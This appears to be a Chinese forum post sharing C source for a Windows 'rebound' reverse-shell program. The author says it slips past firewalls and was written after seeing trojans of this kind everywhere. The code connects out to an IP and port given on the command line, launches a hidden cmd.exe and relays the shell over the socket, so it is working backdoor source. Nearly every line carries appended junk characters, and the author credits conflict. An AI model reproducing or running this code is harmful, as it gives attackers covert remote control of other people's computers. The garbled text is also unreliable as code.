这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 YIA}F1:
Vm]ltiTVk
/* ============================== Sc
"J5^
Rebound port in Windows NT H`4H(KWm
By wind,2006/7 Xz5 aTJ&
===============================*/ gP.Q_/V
#include
T{M~*5$
#include 2U,O
e9
G.K3'^_
#pragma comment(lib,"wsock32.lib") <Gzy*1Q&
m`UNdFS
void OutputShell(); Z~o*$tF/
SOCKET sClient; k))*Sg
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 'j=7'aX>K
TDg#O!DUF
void main(int argc,char **argv) JDVMq=ui
{ "H>L!v
WSADATA stWsaData; pYV$sDlD
int nRet; q4vu r>m6
SOCKADDR_IN stSaiClient,stSaiServer; 10dVV[=
6~\z]LZ
if(argc != 3) uf,4GPo,
{ cOra`7L`
printf("Useage:\n\rRebound DestIP DestPort\n"); a#W:SgE?Y
return; wL,b.]
} p~M1}mE
fAWjk&9
WSAStartup(MAKEWORD(2,2),&stWsaData); ,YFuMek
We3*WsX\
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
GqhnE>
Nd/iMV6V;
stSaiClient.sin_family = AF_INET; p2|c8n==
stSaiClient.sin_port = htons(0); B?c9cS5Mj
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ITh1|yP
W5?F?Dp!v
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) z<rdxn,9
{ pmXx2T#=
printf("Bind Socket Failed!\n"); HbF.doXK
return; MrjET!`.jC
} 9z5K -s
ByeyUw
stSaiServer.sin_family = AF_INET; YMP:T?vMVh
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ^a|$z$spf
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); /_E:sI9(
/h%<e
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) v'*Q[
('
{ vBsd.2t~
printf("Connect Error!"); >x)YdgJ*
return; WM BntB
} !_s|h@
OutputShell(); hNUAwTH6
} dz.]5R
iC&=-$vu
void OutputShell() HTI1eLZ2
{ .z+?b8Q\
char szBuff[1024]; 1&c>v3 $2
SECURITY_ATTRIBUTES stSecurityAttributes; 8Q^yh6z
OSVERSIONINFO stOsversionInfo; %JDG aG'
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; CFqoD l
STARTUPINFO stStartupInfo; -yeQQ4b
char *szShell; :7p0JGd
PROCESS_INFORMATION stProcessInformation; TCp!4-~,
unsigned long lBytesRead; 49}yw3-
Pgg6(O9}B^
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); c"t1E-Nsk
BQ[1,\>
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ` =dD6r
stSecurityAttributes.lpSecurityDescriptor = 0; PaV [{CD
stSecurityAttributes.bInheritHandle = TRUE; .Ozfj@ f
gs 8w/
@~fg[)7M
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); MK[l*=\s
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); :N^1T6v
Ken |!rL
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 4cL
NPl<
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Mm-FdP
m
stStartupInfo.wShowWindow = SW_HIDE; :SG9ygq'
stStartupInfo.hStdInput = hReadPipe; XEV-D9n
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; .%`|vGF
)7=B]{B_
GetVersionEx(&stOsversionInfo); P]T(I/\g
X`]-)(UX
switch(stOsversionInfo.dwPlatformId) G;V@oT
{ BDxrS q,H
case 1: 2F^
%d9`
szShell = "command.com"; ;6t>!2I>C
break; ;_K+b,
default: %f\{ ]
szShell = "cmd.exe"; _3tHzDSG#
break;
m3
;
} ?LgR8/Io@5
l9)iLOj
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); j>eL&.d
~j3B'
send(sClient,szMsg,77,0); Yqmx] 7Y4
while(1) #NNj#
{
>joGGT
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); O;f^'N
if(lBytesRead) p+;Re2Uyg
{ fOJk+?
c
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Rp A76ug
send(sClient,szBuff,lBytesRead,0); Nv*x^y]
} >OE.6)'Rm
else qLKyr@\'
{ r\vB-nJ
lBytesRead=recv(sClient,szBuff,1024,0); K7<'4i~k
if(lBytesRead<=0) break; jd l1Q<Z
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); =nFT0];
} nSsVONHfa
} s8}:8
M
^ZoBsZ
return; Zqd&EOm
}